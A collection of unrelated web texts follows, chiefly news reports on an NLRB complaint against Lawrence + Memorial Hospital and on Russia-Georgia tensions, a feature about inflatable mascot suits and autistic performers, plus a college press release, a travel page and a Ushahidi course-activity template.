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Labor board finds enough evidence to pursue complaint against L+M
New London — The National Labor Relations Board has found sufficient evidence to support a union complaint that Lawrence + Memorial Hospital has been violating federal labor laws by moving jobs out of the main hospital to outpatient offices in the community, and has set an Oct. 21 date for a hearing with an NLRB administrative law judge.
"This is a plot to save money at the expense of patient care," said Lisa D'Abrosca, president of the union that represents registered nurses, said in a news conference Tuesday.
Stephanie Johnson, president of the union that represents licensed practical nurses and technologists, added that L+M is also attempting to illegally "bypass union contracts."
At issue is the hospital's decision in November to move its obstetrics and gynecology clinic and the outpatient psychiatric services clinic from the main hospital to the offices of doctors in the community who are part of Lawrence + Memorial Medical Group, or LMMG, known until July as Lawrence + Memorial Physicians Association.
At the same time that the clinics were moved, 22 employees at the hospital were laid off, including some who were at the ob-gyn and psychiatric clinics there. The laid-off workers were not offered jobs at the outpatient clinics, said Greg Kotecki, field representative for AFT, the union that represents hospital workers.
The NLRB, in its finding, agreed with the union's contention that LMMG is an "alter ego" of the hospital, not a separate company, as the hospital contends. It also said that the workers in the two clinics have the same bargaining rights as other union employees and should be paid on the same wage scale. It is recommending a remedy of back pay retroactive to January equal to the difference in wages between unionized hospital workers and those in equivalent positions at the two clinics. An LMMG nurse make about $20 per hour, compared to $28 to $45 per hour for nurses at the main hospital, according to Kotecki.
In a statement, L+M said the NLRB complaint is "just the first step in what will no doubt be a lengthy process" and that the hearing will be an opportunity to fully present its case.
"While we are disappointed that the local office of the NLRB has decided to issue a complaint directed to Lawrence + Memorial Hospital, this is not a decision based on merits," spokesman Mike O'Farrell said. "We are confident that our actions have been entirely proper and lawful. As this process plays out, we remain committed to our mission — providing the best patient care possible."
While the NLRB's complaint pertains only to the ob-gyn and psychiatric clinics, the final decision could have a bearing on the union's larger contention that all 150 employees of LMMG should be recognized as members of the union, Kotecki said. LMMG includes offices of about 70 primary care and specialist physicians, including those who were part of Atlantic Medical Group when L+M acquired The Westerly Hospital in May.
"We are in an active campaign to inform those workers of their rights, and the hospital is in a vicious anti-union campaign," Kotecki said.
Jonathan Kreisberg, regional director for the NLRB office in Hartford, said the complaint issued by the board is the result of a four-month investigation.
"We believe there were unfair labor practices, and L+M refused to settle the case," Kreisberg said.
Erin Yuhas, registered nurse at the LMMG office in Niantic, said she and other LMMG workers should be treated as equals with hospital employees.
"The government investigation has proven what we all already knew," she said in a statement from the union. "We do the same job as our counterparts in the hospital and we don't deserve to be treated as a second-class workforce."
D'Abrosca and Johnson said that moving services out of the hospital has lessened the quality of patient care. Patients have less access to services, and LMMG staff are being paid less and have taken on more work than equivalent positions at the in-hospital clinics.
"It's really disappointing to see this in a community hospital," said D'Abrosca.
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Senator says utility company "too big to do the job" during visit to Madison grocery store that lost power, incurring $500,000 in losses.
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Preston students in first through eighth grade will have mix of in-person and remote learning, while preschool and kindergarten students attend in person.


text:
Welcome! I collect vintage bags, jewelry and more. If you don't see what you want, please send me an email. It might be in my inventory.
After 2 weeks your items will automatically renewed for another 60 days and $0.23 per item will be added to your billing ledger.
While you were away our TOU was updated,
read the terms of use here.
*No action is required on your part.

subset: commoncrawl


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The Princeton Review Names UNCW One of the "Best in the Southeast"
Tuesday, August 20, 2013
The University of North Carolina Wilmington has been named one of the "Best in the Southeast" on The Princeton Review's "2014 Best Colleges: Region by Region" list, the University announced today. A total of 643 colleges and universities were named as "regional best(s)."
The Princeton Review observes thousands of institutions for each of their four "Best in" regions. Selections are based upon an institution's academic excellence, as well as student's ratings on several factors like campus dining, professors and overall campus life.
"It is a tremendous honor for our school to be recognized by a resource as prestigious as The Princeton Review," commented UNCW Chancellor Gary L. Miller. "We take pride in our academic programs, faculty and staff, extracurricular activities and campus facilities. Having our dedication to the journey of learning acknowledged in such a high profile way - by The Princeton Review and by our students - is incredibly gratifying."
UNCW is North Carolina's coastal university and is dedicated to learning through the integration of teaching and mentoring with research and service. A public institution with nearly 14,000 students, UNCW is widely acknowledged for its superb faculty and staff and its powerful academic experience that stimulates creative inquiry, critical thinking, thoughtful expression and responsible citizenship. With an array of high-quality programs at the baccalaureate and master's levels, and doctoral programs in marine biology and educational leadership, UNCW is continuously recognized at a national level for academic excellence and affordability.
A total of 138 four-year colleges and university are on the "Best in the Southeast" list from Alabama, Arkansas, Florida, Georgia, Kentucky, Louisiana, Mississippi, North Carolina, South Carolina, Tennessee, Virginia, and West Virginia.
About The Princeton Review
Founded in 1981, The Princeton Review is a privately held education services company headquartered in Framingham, MA. The Company has long been a leader in helping students achieve their education and career goals through its test preparation services, tutoring and admissions resources, online courses, and more than 150 print and digital books published by Random House, Inc. The Princeton Review delivers its programs via a network of more than 5,000 teachers and tutors in the U.S.A., Canada, and international franchises. The company also partners with schools and guidance counselors worldwide to provide students with college readiness, test preparation and career planning services.


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As a member of the Senate Republican caucus, I lend my support for Senate President Russell Pearce. He has demonstrated fair and balanced leadership during one of the most difficult times in the history of our state. Using his past experience as chairman of the Senate and House Appropriations committees, he was directly involved in developing a budget intended to move our state into a healthier economy. Senator Pearce has often stated his philosophy — you can only spend the money you have. I believe the state should live by that same rule and share that philosophy as well.
I believe President Pearce has always kept the residents of District 18 first and foremost in mind when serving as a legislator. He has championed many issues on their behalf, as well as the voters statewide with the passage of several ballot measures.
Senator Pearce has effectively fulfilled the role as Senate president. He kept the Senate schedule on track and has done a good job managing the affairs of the Senate as a whole. He is willing to listen to ideas and concerns that are brought forward by all of the members of the body. Some skeptics predicted a combative legislative process. In fact, in deference to his colleagues, he would not keep a bill from a floor vote even when he disagreed with the policy of the legislation. He voted his conscience. I think he deserves credit for that.
Again, I appreciate President Pearce's leadership and his strong love for the state of Arizona. Therefore, I support him in the November recall election.
— Steve Pierce, R-Prescott, serves as Senate majority whip.


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Compare cheap flights from Cairns to Kathmandu
When is the cheapest time to fly to Kathmandu?
What to do in Kathmandu
Kathmandu is the capital and biggest city of Nepal. It is a tourist getaway that's full of history, culture, beautiful sights, and fascinating people. Plus the city is an affordable destination, which means you'll get your money's worth for an incredible trip.
Kathmandu is known for its temples and museums. Start with the divine and go on a temple run. The must-see Swayambhunath Temple is a UNESCO World Heritage Site. There's also Bijeshwori Temple and Budda Neelkantha Temple, among many others.
From the divine to the diverse, Kathmandu's museums won't disappoint you too. Check out the city's Narayanhiti Palace Museum, National Museum, Taragaon Museum, and Tribhuvan Museum.
Trekking is also popular in the city, so make your way to the popular Everest Region and Annapurna Region. You can also trek or go hike the Kathmandu Valley. And if you're an adrenaline junkie, there's also bungy jumping at The Last Resort east of Kathmandu.
Is shopping your favourite sport? You'll find the city's local products, including arts and crafts at Thamel and Kopundol. And for luxury items, walk along Khicha Pokhari and the New Road areas.
Schedule your trip during the city's best events and festivals for a unique experience in Kathmandu. There's the Indra Jatra harvest festival in September, the Mani Rimdu, Kathmandu International Mountain Film Festival, and Teej.
Check out this list of things to do in Kathmandu and have the best time in this amazing city.
When to visit Kathmandu
Kathmandu is lovely year-round, so there's no particular best time for you to visit. Spring (March-May) is when the city is filled with colours and is mildly warm. Summer (June-August) is when you can see lush flora because it's the monsoon season, but unlike other Asian countries the rain in Kathmandu occurs mostly at night.
The best tourist season is autumn (September-November) during high season, and you can enjoy cooler temperatures in winter (December-February). But if you want fewer crowds, just schedule your trip away from high season.
Secure your travel visa first before flying to Nepal and visiting Kathmandu. Make sure your passport is valid for at least six months too. Just visit Smartraveller for more travel info.
Travelling to and around Kathmandu
You'll be flying to Kathmandu's Tribhuvan International Airport, and from there you can get to the city by prepaid taxi, regular taxi, hotel transfer, or by bus. Wander through Kathmandu by bus, three-wheeled microbus, taxi, or rickshaw.
So what are you waiting for? Kathmandu is just waiting for you! Grab your suitcase and passport and book your Kathmandu flights with Skiddoo today.
Temperature average in August
Rainfall average in August
122.4 mm
Cheapest time to fly to Kathmandu (KTM)
All prices refer to return flights to Kathmandu and include taxes and charges.
Our experiences customer support team is there to help you every step of the way.
With the Skiddoo Price Promise, if you find a cheaper price online we'll match it!
Popular flights to Kathmandu
- Flights from Sydney to Kathmandu
- Flights from Melbourne to Kathmandu
- Flights from Perth to Kathmandu
- Flights from Brisbane to Kathmandu
- Flights from Gold Coast to Kathmandu
- Flights from Cairns to Kathmandu
- Flights from Adelaide to Kathmandu
- Flights from Darwin to Kathmandu
- Flights from Canberra to Kathmandu


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Deploy and Customize Ushahidi
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'''Are there other activities the student should have done first?'''
'''Are there other activities the student should have done first?'''
Students should be familiar with Ushahidi and have done an Ushahidi deployment.
Students should be familiar with Ushahidi and have done an Ushahidi deployment.
'''What is the rationale for this activity?'''
'''What is the rationale for this activity?'''
'''Include helpful hints to faculty here.'''
'''Include helpful hints to faculty here.'''
=== Directions: ===
=== Directions: ===
Revision as of 14:42, 17 June 2016
|Deploy & Customize Ushahidi
|Students will download Ushaidi and install it on either the cloud (using Heroku) or on a VM or on an actual Linux machine.
|Prerequisite Knowledge
|Understand client/server concept, how to install software, how to use command line interfaces, basic XML concepts.
|Learning Objectives
|1. Implement and deploy a basic working Ushahidi server 2. configure Ushahidi server
Is there background reading material?
Students should be read Ushahidi install documentation: https://www.ushahidi.com/support/install-ushahidi
Readings on client/server architecture.
Readings on the platform used.
Are there other activities the student should have done first?
Students should be familiar with Ushahidi and have examined or done an Ushahidi deployment.
What is the rationale for this activity?
This activity will give students a hands-on understanding of the Ushahidi server.
Include helpful hints to faculty here.
Installing on Heroku is very simple and can be done without configuration or through a terminal with configuration.
Installing on an actual Linux box can be challenging.
What should the student do?
What will the student hand in?
How will the activity be graded?
How will learning will be measured?
Include sample assessment questions/rubrics.
|Level 1 (fail)
|Level 2 (pass)
|Level 3 (good)
|Level 4 (exceptional)
|The purpose of the project
|Why the project is open source
What should the instructor know before using this activity?
What are some likely difficulties that an instructor may encounter using this activity?
Additional Information:
|ACM Knowledge Area/Knowledge Unit
|What ACM Computing Curricula 2013 knowledge area and units does this activity cover? ACM_Body_of_Knowledge
|ACM Topic
|What specific topics are addressed? The Computing Curriucula 2013 provides a list of topics - https://www.acm.org/education/CS2013-final-report.pdf
|Level of Difficulty
|Is this activity easy, medium or challenging?
|Estimated Time to Completion
|How long should it take for the student to complete the activity?
|What does the student need? Internet access, IRC client, Git Hub account, LINUX machine, etc.?
|Who wrote this activity?
|Is there another activity on which this activity is based? If so, please provide a link to the original resource.
|Under which license is this material made available? (http://creativecommons.org/licenses/)
Suggestions for Open Source Community:
Suggestions for an open source community member who is working in conjunction with the instructor.
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License


text:
Meanwhile, exciting news from the twin worlds of toys and theoretical mathematics:
A 4D puzzle! Because after all, 3D is really in right now, and 4D - well, that must be one better! I wonder what the fourth dimension in which this eighteen piece plastic model of a clownfish exists is? Hopefully, the makers mean that they have discovered a method of imbuing this plastic fish with an extra coordinate axis, orthogonal to the other three, allowing it to inhabit a previously purely abstract geometric reality, all whilst maintaining its famously Highy Detailed Finish. On the other hand I'll be a bit disappointed if it just means that the fish exists in time. Like the Archers.


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Photo: Andrew Hetherington
Photo: Andrew Hetherington
Photo: Andrew Hetherington
Photo: Andrew Hetherington
Photo: Andrew Hetherington
In 1985, after two decades of running and then owning 20,000-head cattle feedlots in Kansas and Oklahoma, Lee Bowen sold everything and moved his family to Omaha. The youngest of his five kids, 18-month-old Katy, was deaf—she'd had meningitis—and Bowen wanted to get her into the Boys Town National Research Hospital program on childhood hearing loss.
So the family pulled up stakes, planning to live off the proceeds of the sale of Bowen's business and focus on taking care of Katy. At 47, Bowen was tired of the cattle business. He was looking for a gig that would surprise him. "I wanted to do something that I would enjoy, that would be fun and had no debt and no overhead," he says.
Not that he was slowing down. Bowen threw himself into a new job that tapped into his entrepreneurial streak: fund-raising chairman for the local YMCA. He soon found himself prowling the booths at a trade show in Chicago, on the hunt for cheap, effective advertising tactics that he might put to use for the Y.
As he rounded a corner of the display floor, Bowen saw the booth that would change his life—and eventually the lives of many others. It belonged to a company that made tube signs, gaudy 3- by 21-foot inflatable banners with peel-and-stick lettering. He imagined them swaying in the Nebraska breeze above a new appliance store or a spruced-up coffee shop, visible for blocks. Bowen immediately signed up to be a local distributor. He'd found a new gig—one that would have his kids climbing onto Omaha rooftops to install the signs over the next few years. But that was only the first weird twist waiting for him in the inflatable sign business.
When the parent company folded, he bought the leftover vinyl and some cheap fans, and contracted with a tarp-making company to sew up more inventory. By the early 1990s Bowen was shipping hundreds of signs around the country. He had to contend with different zoning restrictions in every jurisdiction, which was a pain, but whatever—the best part happened at home, when Bowen would hand his kids a rag and let them zip into the blow-ups to clean them. With a person horsing around inside them, the signs would contort and flex into all sorts of funny shapes.
Wait a minute, Bowen thought. Why not put people inside them? Converting the inflatable banners into walking blow-up signs that people wore like a costume would mean that he could dodge all those code restrictions. In 1991, Bowen hand-cut a prototype, a giant panda, for an existing client, a Chinese restaurant in Japan. The operator would wear a lightweight nylon belt with a shoulder strap that supported a 12-volt battery and fan. Bowen reinforced the fan's housing with steel pins to make sure it wouldn't crack or shift speeds if jostled, and he vented an intake coil out the leg of the costume. Now the contraption inflated from the operator's thigh, at the fan, which helped maintain air pressure. The suit was virtually sag-proof—excess air leaked through the seams, just like in the old tube signs. The method turned out to have an added bonus: "We are able to push a lot of body heat out," Bowen says. It was hot inside, but the pilot wouldn't roast to death. Sales took off immediately—not just to stores, but to anyone who wanted a giant walking advertisement. Bowen found himself in the mascot business.
Video: Alexa Inkeles
The costumes turned out to have a major problem—one Bowen didn't see until he sold his first major sports commission to the University of Nebraska a couple of years later. When the grinning, kid-like cherub called Lil' Red debuted on Husker sidelines in 1993, he was big, bulky, and, well, just sort of stood there. "If I'm standing on the sidelines and fans can't see the game, it pisses them off," says Brad Post, one of the first Lil' Red operators. The suit got booed.
But Post, a pre-engineering student with no formal mascot experience, provided the solution. He'd been curious about the new suit from the start. "Mostly, I just wanted to get inside it and see how it worked," Post says. He realized that while operators couldn't do the same gymnastic maneuvers as classical, furry-suited mascots, diving and mugging up and down the sidelines, they also had fewer physical limitations. It didn't matter what happened inside the suit, as long as the action outside looked cool. Post came up with a new move: He would lie on his stomach, pull his feet out of the legs, do a somersault, and stand back up with his feet in the costume's head. Voilà! Lil' Red seemed to have somersaulted into a headstand. Post also pulled the character's head and feet together—it looked like he was shrinking. The boos turned to cheers. "It was really sort of a blank slate," he says. "I just did what I thought would get a reaction." (Post's special genius was eventually rewarded—today he's the mascot coordinator for the Denver Broncos.)
Bowen took what Post had figured out and ran with it. Back at his workshop, he added internal handles so operators could spin and jump at all angles inside the suits, straps to twist facial expressions, and swiveling couplers that allowed for flexible intake coils. By 1999, pro teams and major brands were calling with their own crazy design ideas. The Florida Marlin—the baseball team's mascot—now spits on fans of the opposing team at baseball games, thanks to a pressure washer built into his mouthpiece. The Philadelphia Eagle shoots fireworks from the top of his head. Bowen's outfits—his company, Signs & Shapes International, sells them as "WalkArounds"—appear in everything from Disney's Toy Story 3 on Ice (think: super-expandable Slinky Dog) to Spider-Man: Turn Off the Dark on Broadway (pop-up, supersize supervillains) to in-store promos for Purina cat food and Tyson chicken. "If something looks cool," Bowen says, "we'll do it."
The field of sports mascotting would never be the same. "Lee is very good at digesting these pie-in-the-sky ideas and then making them a reality with some simple engineering," says Robert Boudwin, mascot operator for the Houston Rockets. (In other words, he's Clutch the Bear.) Boudwin was instrumental in coming up with Air Head Clutch, an extra-rotund costume that can "swallow" a cheerleader by unlatching a hidden mouth compartment. It's a special power lots of other mascots have bought since then. (The cheerleader is usually regurgitated unharmed.)
Lee Bowen pats the head of an inflatable Chester Cheetah, the official mascot for Cheetos, hitched to a high-pressure blower. It's parked amid a fleet of a dozen identical suits on a patch of fake field turf inside his factory near downtown Omaha, all lined up for leak inspection. He chuckles as the cat's noggin wobbles up and down like a giant bobblehead. "See, a fuzzy mascot is a lot like a mime. You have to have talent," Bowen says. But his WalkArounds are different. "You can take a person that's never been in it, and they can do something funny. Everything is just so big that it seems exaggerated."
Because WalkArounds rely less on performer athleticism than the use of built-in stunt capabilities, Bowen now sells costumes to a wide cross-section of groups in need of easy, quality entertainment. (Texas Corral cowboys and fez-wearing Shriners are quite popular.) And because the suits look more cartoonish than other mascots, they also capture the audience's attention longer. "Most people don't think about the fact that there's someone inside of them," says Scott Bowen, Lee's son, who helps run the company. "They just think about them more as a character than someone dressed up."
But it's not just audiences who react in a different way to the blow-up suits. Performing in a WalkAround, it turns out, can be a transformative experience.
In 2005, Lee Bowen went to a firefighter convention in Indianapolis to hawk blow-up suits and fire safety programs—a side business that had evolved out of the mascot thing. Bowen needed someone to demo a suit, so he asked a custodian named Sherri Hughes if she had a kid who might want to make a few bucks. Hughes agreed, but her youngest son bailed. Instead, Hughes showed up with her son Joe, an 18-year-old who was, as Hughes put it, nonsocial. "He won't look at anybody or approach anybody," she says. "All he does is look at the floor and mumble." But Bowen needed that demo. They decided Joe would give it a try. "You wouldn't believe it. This kid was fine," Hughes says. "He started running up to people and tapping them on the shoulder. I started crying. It is the only time I've seen my son having a good time and reaching out to people. He told me, 'Mom, when I'm in the suit, I don't need to be afraid no more. I can be with people.'"
The Bowens were stunned. After Joe Hughes repeated his performance at the same conference for two more years, they called in Keith Allen, a psychologist at the Munroe-Meyer Institute for Genetics and Rehabilitation at the University of Nebraska Medical Center. Allen asked if Hughes was autistic, and it turned out that he'd just been diagnosed with Asperger's. So the Bowens shipped a suit to Scott's sister Beth, who works with special education students in Pinetop, Arizona. She saw the same thing—an autistic high school student seemed to come alive in the suit. "At first, I was wary," Allen says. "It seemed like they had the idea these suits might somehow be therapeutic. I don't know what they really meant by that. Like, are you going to put someone inside one of these things and they'll come out less autistic?"
Allen suggested a more testable hypothesis: The costume might simply help autistic people become pretty good mascots. The payoff would be small but important. "People who are employed have a greater sense of independence and well-being," Allen says. But up to 90 percent of adults with autism don't have jobs.
The Bowens still needed a way to measure mascot performances. Gauging crowd response wouldn't work; audiences cheer or boo too variably. Scott figured the most important aspect was that each mascot appear "lifelike," engaging the audience by trying new actions. He'd developed a video to show how to use the straps inside a costume to do eight different moves, from an eye wink to a full-body shake. Bowen divided performances into 15-second intervals, and the team would count the number of intervals in which a performer used at least two of the actions in the video. A "good" show would be one in which the performer was in motion about 30 percent of the time. "It's just kind of intuitive. You want them to move," Scott Bowen says. "But you also don't want them to focus on a single aspect. If someone is standing in a corner and waving at you over and over, that could get a little weird."
In 2008, Allen, Scott Bowen, and Ray Burke, a psychologist who was the Bowens' partner in the fire safety business, recruited four high-functioning autistic teens and young adults to play a giant Rocky the Raccoon at a Sam's Club. Each improvised for about 10 minutes. They all bombed—not unusual for any performer with no direction. Afterward each watched the training video and tried again. After two rounds, all four were "lifelike" more than a third of the time. And everyone retained their skills, doing nearly as well in a follow-up gig.
Allen has a guess about why it works: "The costume itself is sort of an insulator," he says. The white noise from the blower cancels out distractions, one-way windows dim lights, and an air buffer limits physical contact. "It is easier to socialize when trained in the costume, because it's a little bit safer environment."
It'd be hard to measure long-term outcomes of wearing the suits. You'd need more data, more people inside them. "That isn't really going to happen," Allen admits. Which is fine. The suits don't have to be a cure. The Bowens' training videos already conform to a teaching technique often used with autistic people called video modeling; it's supposed to be more successful than a lecture or one-on-one tutoring. Educators generally couple video modeling with role-playing, offering viewers the chance to try out a multitude of responses in a safe environment with lots of personal direction. It can take weeks or months to be effective. Once inside an inflatable suit, though, people seem able to skip the repetitive test phase and jump straight to gigging.
Inside the Walmart Supercenter in Fort Scott, Kansas, a crowd has gathered to gawk at a giant inflatable Chester Cheetah. A dozen shoppers stare at a 9-foot-tall version of Frito-Lay's orange and black cartoon mascot, complete with spindly (air-filled) legs, a paunchy (air-filled) stomach, and a pair of sunglasses. And the cheetah is skipping. Flanked by an assistant in a black polo shirt, Chester steps around an equally towering display of Cheetos, pounding his stomach. Chester cannot get enough Cheetos.
A little girl rushes up to hug Chester for a picture. He puts one paw around her shoulders, pressing her body against his ample belly, which deforms inward slightly at the impact. After her parents snap the pic, Chester lets go and his gut puffs back out, bouncing the kid merrily on her way. And then Chester bends over and eats her.
For real: Chester plops his big muzzle down on top of her. His mouth engulfs the girl's head as she shrieks with joy. Standing about 15 yards away near rows of beeping check stands, Scott Bowen smiles. "Way to go, Chester," he says, chuckling. "I'm impressed."
Not everything is a hit. Chester's deployable foot-long tongue isn't unrolled at every Walmart. Elderly shoppers had complained it was disgusting.
When Chester's gig is done, he heads to a fitting room to change. Out steps 18-year-old Hunter Huse, who is autistic. Inside of the suit, Huse was Chaplinesque, performing exquisitely timed physical comedy. Outside of it, he fidgets and has trouble making eye contact. During a stream-of-consciousness monologue that covers everything from statistics about his disorder to how he came up with that impromptu head-munching, Hunter finally describes what wearing the suit feels like: "It was a blast."
Of course, not everything in Scott Bowen's road-tripping Walmart field tests goes exactly as planned. At one stop in Parsons, Kansas, an autistic 26-year-old ignores directions to dress in a fitting room, opting instead for a handicapped bathroom, only to become increasingly frustrated that he has nowhere to sit down. Every time he tries to get into the suit, he accidentally sets off an automatic hand dryer, making things even more stressful. "I don't want to do this," he tells Bowen, who eventually gets him calmed down, inflated, and through the narrow bathroom door.
Even Hunter Huse's performance in Fort Scott had a hiccup. Before he took to the aisles, Huse noticed that a set of written instructions for hooking up the power belt differed slightly from the video tutorial. It caused a minor freak-out. "You aren't doing it right!" Huse told his dad, who was helping him get suited up. For Bowen, such feedback is invaluable; all of those issues can be fixed with clearer preshow instructions.
In total, 74 of 76 performers complete their four-hour gig and get paid for it. Bowen places nearly all of them on his roster of vetted performers. "It's a good chance for them to get more part-time work," he says.
Three months later, Burke, the psychologist who helped come up with the fire safety program, sits in the back of an elementary school gym amid 45 giggling kids as a 10-foot-tall mustachioed Freddy the Firefighter takes the stage. When Omaha Fire Department captain David Mann purchased the character and related materials two years ago, Burke and the Bowens suggested he hire a local guy named Doug Egger, a 29-year-old autistic man who did well in early Chester promotions. Mann agreed. Egger has since done eight shows, pulling off 63 different moves that include things he would never do without the suit on—like responding directly to Mann's questions with some action, reacting to the audience, and initiating independent actions without being cued. Today, Burke has come to check up on his progress.
The show begins. Egger doesn't speak—the blower is too loud. Instead, he mimes whispering into Mann's ear, wiggling Freddy's upper lip conspiratorially. Mann relays his ideas to the audience ("What's that, Freddy? You want to play a game?" and so on). Cuing off Mann, Egger has no problem going into the audience to pick out volunteers for a skit about how to escape a burning house. Toward the end of the show, another inflatable, a dalmatian piloted by a local high school student, trots onstage to join the two presenters. "Hey, Freddy, aren't you happy to see your dog, Spanner?" Mann shouts. Egger runs over and gives the other character a long hug, drawing cheers from the audience. "That isn't part of the show," Burke says later. "But it should be."
The team is thinking up an even more user-friendly design. They recently introduced an in-suit prompting system—basically, an iPhone mounted at eye level with texts like "Wiggle mustache" or "Get three students." Lower-functioning autistic performers could follow spoken cues via radio. Bowen figures even non-disabled performers might eventually use the aides.
Last summer at Arvest Ballpark, home of Minor League Baseball's Northwest Arkansas Naturals, Huse showed up for his first Chester gig having made a few tweaks to the costume. He had hung a sweat towel from the belt that holds up the compressor and was wearing a CamelBak backpack filled with water. It gets pretty hot in those WalkArounds, after all. When Scott Bowen hears about this, he laughs. They're the kind of improvisations he knows would impress his dad.
Ben Paynter (firstname.lastname@example.com) wrote about a Hollywood insect wrangler in issue 20.05.
This piece was originally published on July 23, 2012.Go Back to Top. Skip To: Start of Article.


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Treatment Centers Directory is a complete directory of drug and alcohol addiction treatment centers in North Carolina. If you need to find a North Carolina treatment center for a drug treatment program or alcohol addiction rehab, you've come to the right place.
Treatment Centers Directory currently lists 639 treatment centers, addiction doctors and rehab facilities in North Carolina.
Browse North Carolina addiction treatment centers by selecting your city below.


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Looks like Google+ is following Twitter's lead on the whole "Verified Account" thing, letting you know for sure if you have the real Kim Kardashian in your circle or not. But, considering their stringent "real names" policy, what's the point?
The new feature gives the network's big names a "verified user" badge next to their name. But... why? It just strikes me as redundant since no one could make a fake account to begin with without being banned. And it's not even clear how a celebrity with a pseudonym would go about getting a profile with their stage/pen name.
CNN wrote last month that celebs might have to send a copy of their driver's license to get the new badges. First, it doesn't look like Robin Wauters at TechCrunch did anything of the sort to get his new cred. Second, do you really think Mark Zuckerberg or Bono is sending a copy of his ID to Google? Now, it could also be PR folks and consultants working with Google to get the perks, which is probably more likely.
But the reasoning? My only guess is that this is a grab for popularity on Google's part. A larger, more obvious celebrity presence would bring more people in. And those same celebs could make Google+ seem less like a wasteland to new users. If that's the case, then it's shrewd on Google's part. Shallow, but shrewd. [TechCrunch, CNN]


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Quad/Graphics announces it will acquire rival
Brown Printing employs 1,850
Printing giant Quad/Graphics is acquiring one of its biggest competitors.
The Milwaukee area company says it will buy Brown Printing Co., of Waseca, Minn., for $100 million.
Quad/Graphics is recognized as the largest printer of magazines and catalogs in North America and produces Time, Rolling Stone and the L.L. Bean catalog, along with many others.
The Sussex-based company has made eight acquisitions since 2010 as the printing industry consolidates with the growth of digital devices.
Quad/Graphics employs nearly 7,000 in Wisconsin and also operates across North and South America.
Brown Printing has facilities in Illinois and Pennsylvania and employs about 1,850. It prints Esquire, Family Circle and other magazines, as well as catalogs for Macy's and Saks Fifth Avenue.


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The simmering tensions between Russia and its West-leaning neighbor, Georgia, have flared dramatically over the shooting down of a Georgian reconnaissance drone this weekend.
Moscow has accused the post-Soviet state of violating United Nations cease-fire agreements by flying the unmanned aircraft over the pro-Moscow separatist region of Abkhazia. Georgia, for its part, claims hard proof of Moscow's meddling, releasing a video it says was taken by its drone that shows images of what looks like a MiG-29 – flown only by the Russian Air Force in that region – shooting a missile that rapidly approaches the camera. The clip ends abruptly in static.
"After repeated incidents of Russia violating Georgia's airspace and unprovoked acts of aggression, this time we have video footage of a Russian aircraft attacking Georgian territory," Georgian President Mikhael Saakashvili told journalists Monday night.
The UN Security Council is set to discuss the issue in a closed-door session Wednesday, but any long-term settlement of the complicated background dispute may have to await the outcome of a foreign-policy debate currently raging in Moscow over how to deal with Western-leaning neighbors like Georgia and Ukraine, who seem more determined than ever to join the Western military alliance, NATO.
Earlier this month Russia scored a minor victory when NATO leaders postponed the two countries' applications to enter the military alliance's membership program, but there was little celebration in Moscow. Russia, which sees the advance of NATO to its borders as a strategic nightmare, is scrambling for policy prescriptions aimed at preventing it.
"Some people are saying we've been too flexible and given up too much, and the result is that Georgia and Ukraine are becoming more anti-Russian than ever. These people say we need to take a tough approach," says Yevgeny Bazhanov, vice rector of the Diplomatic Academy in Moscow, which trains Russian diplomats. "A different argument says that if we want these countries to be our friends, we should respect their sovereignty and foreign-policy choices.... [Then,] even if they do join NATO, if our relations with them are warm and friendly, it won't matter so much."
Both approaches are on display in Moscow's treatment of Georgia, a country of 5 million on Russia's southern flank. Last week the Kremlin moved to upgrade its relations with two Georgian separatist regions, Abkhazia and South Ossetia, which have been de facto Russian protectorates since they broke away in the early '90s.
Experts say the measures, which would improve trade and official contacts but fall short of diplomatic recognition, are part of Moscow's response to Western recognition of Kosovo's independence two months ago.
"After Kosovo, the Russian position appears to be that the independence of Abkhazia and South Ossetia is inevitable, even if it's not imminent," says Fyodor Lukyanov, editor of Russia in Global Affairs, a Moscow-based foreign policy journal.
But Georgia was furious. "[Moscow] is virtually saying that it does not recognize the jurisdiction of Georgia regarding Abkhazia and South Ossetia," Mr. Saakashvili thundered last week. "This is an unprecedented breach of the norms of international law and conduct."
On Friday President Vladimir Putin showed an entirely different face, ordering the removal of two-year-old sanctions that blocked imports of Georgian products, imposed severe visa restrictions on Georgians, and closed down postal links between the two countries. "This is convincing evidence of Moscow's constructive policy toward Georgia and its persistent efforts to restore traditionally friendly ties with Georgia," the Russian Foreign Ministry said.
'No united position' in Moscow
"What we see here is that there is no united position [in Moscow] about what to do with Georgia," says Artyom Malgin, head of the Center for Post-Soviet Studies at Moscow State University for International Relations. "Do we want to cultivate a united, friendly Georgia, or should we put our stake on those pro-Moscow separatist statelets?" he says. "It looks like Putin himself cannot decide which course would be better for Russia."
Sunday's destruction of the Georgian drone over Abkhazia illustrates how unexpected events can throw complicated diplomatic maneuvers into confusion, experts say. Saakashvili has taken Georgia's case to the UN, arguing that Russia is guilty of "military aggression." Moscow, which has blamed the missile on Abkhazian rebels, says that none of its warplanes were even in the air over the Black Sea region on Sunday.
"It's a very dangerous development, and it's even possible that some non-state actors arranged this in a bid to destabilize the situation," says Mr. Malgin.
Russia-Ukraine strains
Russia appears to be engaging in a similar double game toward Ukraine. According to the Moscow daily Kommersant, Mr. Putin told US President George Bush during a closed door meeting in Bucharest early this month that "Ukraine is not even a state!" Citing inner Kremlin sources, the paper said Putin told Mr. Bush that the Ukrainian territory of Crimea was illegally transferred from Russia to Ukraine by Soviet leader Nikita Khrushchev in 1954, and that Russia might move to take it back if Ukraine attempts to join NATO.
Though the Kremlin has offered no comment on the accuracy of that report, several leading Moscow politicians, and the Russian Army's Chief of Staff General Yury Baluyevsky, have made similar hints publicly. "The Ukrainian leadership has to understand that any attempt [to take Ukraine into NATO] gives Russia the right to raise several issues, including the issue of Crimea," Alexei Ostrovsky, chair of the Duma committee of the Commonwealth of Independent States, told the Monitor Tuesday. "The majority of people who live in Crimea are [ethnic] Russians who do not want to join NATO."
Ukraine's Foreign Ministry issued an angry riposte last week, demanding that Russia "stop making threats against Ukraine." The statement added that "it's becoming increasingly apparent that [joining NATO] is the sole method of guaranteeing the security of our state."
Says Mr. Lukyanov: "This is a psychological war. Moscow knows there are a lot of doubts within Europe about pressing ahead with NATO membership for Ukraine and Georgia at the price of ruining relations with Russia. Now Russia is making moves to demonstrate just how high that price might be."


